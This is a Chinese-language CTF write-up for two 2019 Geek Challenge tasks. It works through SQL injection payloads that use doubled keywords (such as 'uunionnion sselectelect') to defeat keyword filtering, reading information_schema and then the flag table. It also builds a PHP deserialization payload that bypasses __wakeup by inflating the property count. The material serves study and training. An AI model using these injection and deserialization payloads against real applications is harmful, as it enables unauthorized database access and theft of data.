目录
[[极客大挑战 2019]BabySQL 1](#[极客大挑战 2019]BabySQL 1)
[[极客大挑战 2019]PHP 1](#[极客大挑战 2019]PHP 1)
[极客大挑战 2019]BabySQL 1
sql注入

尝试万能密码
1' or 1=1#
123

尝试联合查询
1' order by 1#
123

or 和 by都被过滤
尝试双写绕过
1' oorrder bbyy 2#
123

双写绕过可行
联合查询深度利用
尝试
1' oorrder bbyy 4#
123
出现报错

则所查询的数据表有三列
构造查询
1' union select 1,2,3#
123

union select 被过滤
再次尝试双写
1' uunionnion sselectelect 1,2,3#
123

根据回显,查找数据
1' uunionnion sselectelect 1,database(),version()#
123

1' uunionnion sselectelect 1,database(),group_concat(table_name) from information_schema.tables where table_schema=geek#
123
报错,因为字符中的or被过滤,
经过测试where,from都被过滤
继续双写
1' uunionnion sselectelect 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#
123

好像在当前查询数据库中,没有相关表,
继续查看数据库
1' uunionnion sselectelect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
123

有一个ctf数据库,
尝试注入ctf数据库中的数据表
1' uunionnion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#
123

数据表为Flag表,查询列名
1' uunionnion sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='ctf'#
123

Flag表中又一个字段flag
查询flag字段数据
1' uunionnion sselectelect 1,2,group_concat(flag) frfromom ctf.Flag#
123

[极客大挑战 2019]PHP 1
php反序列化

网站备份
进行目录爆破,查找备份文件

访问www.zip发现源码泄露


提交查看是错误的
查看index.php

存在反序列化函数
unserialize()
unserialize()是 PHP 中专门用于 "反序列化" 的函数,作用是将序列化后的字符串还原为 PHP 对象 / 数据结构,这是反序列化操作的标志性函数。
$select = $_GET['select'];表示:$select的值是从 URL 的 GET 参数(?select=xxx)中获取的,用户可以自定义传入任意内容。
包含class.php并且有一个反序列化点

核心逻辑与漏洞点分析
先拆解
Name类的关键魔术方法和限制条件,明确利用目标:关键绕过技巧
- PHP 存在一个经典漏洞(PHP < 5.6.25/7.0.10):当序列化字符串中声明的属性数量 > 类实际的属性数量 时,
__wakeup不会被触发。
- 本类实际属性数是 2(
$username、$password),只需把序列化字符串中的属性数从2改成3即可绕过。构造反序列化 Payload
查看class.php
思路:username值为admin,password值为100,可以输出flag
构造反序列化payload
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$a= new Name();
$res=serialize(@$a);
echo $res
?>
输出反序列化字符串
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
这里我们发现Nameusername与前面的14不对应,少了两个字符,而Namepassword也是少了两个字符,这是因为username和password变量是private类型,变量中的类名前后会有空白符
Name前后需要添加%00
同时要绕过_wakeup(),还要将Name后面的数字修改为大于2的数。
结果:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
get传参:
?select=O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

